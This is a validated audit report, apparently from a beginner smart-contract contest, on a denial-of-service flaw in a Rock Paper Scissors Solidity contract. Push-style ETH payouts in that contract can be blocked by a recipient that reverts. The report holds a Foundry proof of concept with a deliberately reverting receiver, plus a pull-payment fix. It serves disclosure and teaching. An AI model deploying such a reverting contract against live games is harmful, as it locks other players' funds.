Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Prize-Payment "Push" Pattern Enables Permanent DoS on Game Funds

ddeenny

Summary

The RockPaperScissors::_finishGame, RockPaperScissors::_handleTie, and RockPaperScissors::_cancelGame functions in the RockPaperScissors contract use low-level call{value: ...}("") operations combined with require(success, ...) to distribute ETH prizes and refunds. If any recipient is a smart contract that rejects ETH transfers—by reverting in its receive() or fallback() function—these calls will fail. As a result, the entire function reverts, permanently preventing game finalization, refunds, or tie resolution. This creates a denial-of-service (DoS) vulnerability, where ETH becomes locked in the contract and core gameplay operations are halted.

Vulnerability Details

The issue affects three critical internal functions:

// _finishGame function
​
// @audit-issue ETH transfer via low-level call; reverts if recipient rejects ETH
@> (bool success,) = _winner.call{value: prize}("");
require(success, "Transfer failed");
​
​
// _handleTie function
​
// @audit-issue Direct ETH transfer to both players; reverts entire function if either rejects payment
@> (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
@> (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
require(successA && successB, "Transfer failed");
​
​
// _cancelGame function
​
// @audit-issue Refunds use call and require pattern; can be blocked if player contracts revert
@> (bool successA,) = game.playerA.call{value: game.bet}("");
require(successA, "Transfer to player A failed");
​
if (game.playerB != address(0)) {
@> (bool successB,) = game.playerB.call{value: game.bet}("");
require(successB, "Transfer to player B failed");
}
​

Issues Identified

  1. Unprotected ETH Transfer

    • The low-level .call{value: ...}("") pattern directly sends ETH without proper safeguards, leaving the contract vulnerable to reverts from malicious recipients.

  2. Hard Revert with require(success, ...)

    • Each failed ETH transfer causes a hard revert, rolling back the entire function execution, making it impossible to continue or finish the current game action.

  3. Permanent Denial-of-Service (DoS)

    • Malicious or improperly configured recipient contracts can intentionally or unintentionally lock ETH and permanently block game operations.

  4. Affected Critical Functions

    • _finishGame distributes prizes to the winner, _handleTie refunds both players after a tie, and _cancelGame refunds players upon cancellation.

    • All become vulnerable to permanent DoS scenarios upon ETH transfer failure.

Impact

Critical Consequences

  • Denial of Service (DoS): Malicious or faulty recipients permanently block prize distribution, refunds, or game cancellation, effectively freezing critical functions.

  • Locked Funds: ETH becomes irretrievably locked within the contract, causing permanent loss of liquidity and undermining user confidence.

  • Game Logic Freezing: Stalled games become permanently stuck in incomplete states (Finished, Cancelled), negatively impacting player experience and trust.

  • Admin Operations Blocked: Inability to finalize games or issue refunds may negatively affect administrative operations and fee collections.

Proof of Concept (PoC)

PoC Explanation

  1. Deploy a malicious contract (MaliciousReceiver) with a receive() function that deliberately reverts on receiving ETH.

  2. Player A creates a game with an ETH bet, and the malicious contract joins the game.

  3. Both parties commit and reveal moves, with the malicious player winning.

  4. During _finishGame(), the prize transfer fails, causing a revert.

  5. Similar reverts can also occur in _handleTie or _cancelGame scenarios when refunding malicious contracts.

contract MaliciousReceiver {
receive() external payable {
revert("Reject ETH transfers");
}
}
​
function testPrizePaymentDoS() public {
MaliciousReceiver attacker = new MaliciousReceiver();
vm.deal(address(attacker), 1 ether);
vm.deal(playerA, 1 ether);
​
// Player A creates a game
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: 0.1 ether}(1, 5 minutes);
​
// Malicious player joins
vm.prank(address(attacker));
game.joinGameWithEth{value: 0.1 ether}(gameId);
​
// Both commit moves
bytes32 saltA = keccak256("saltA");
vm.prank(playerA);
game.commitMove(gameId, keccak256(abi.encodePacked(uint8(1), saltA)));
​
bytes32 saltB = keccak256("saltB");
vm.prank(address(attacker));
game.commitMove(gameId, keccak256(abi.encodePacked(uint8(2), saltB)));
​
// Reveal moves and trigger revert due to malicious recipient
vm.prank(playerA);
game.revealMove(gameId, 1, saltA);
​
vm.expectRevert("Transfer failed");
vm.prank(address(attacker));
game.revealMove(gameId, 2, saltB);
}

Tools Used

  • Manual Code Review

  • Foundry Unit Tests

Recommendations

Refactor to Pull-Payment Pattern:

Introduce a pull-payment approach where prize recipients or refund recipients explicitly withdraw funds. This avoids direct transfers, ensuring malicious or faulty recipients cannot trigger reverts.

Recommended Pull-Payment Fix

Implement a withdraw function:

mapping(address => uint256) public pendingWithdrawals;
​
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success,) = msg.sender.call{value: amount}("");
require(success, "Withdraw failed");
}

Update affected functions to use this mapping:

// Example fix for _finishGame()
if (game.bet > 0) {
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 prize = totalPot - fee;
accumulatedFees += fee;
​
pendingWithdrawals[_winner] += prize; // No direct transfer here
emit FeeCollected(_gameId, fee);
}
​
// Example fix for _handleTie()
pendingWithdrawals[game.playerA] += refundPerPlayer;
pendingWithdrawals[game.playerB] += refundPerPlayer;
​
// Example fix for _cancelGame()
pendingWithdrawals[game.playerA] += game.bet;
if (game.playerB != address(0)) {
pendingWithdrawals[game.playerB] += game.bet;
}

This recommended approach completely mitigates the DoS attack vector by deferring ETH transfers to user-initiated withdrawals.

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.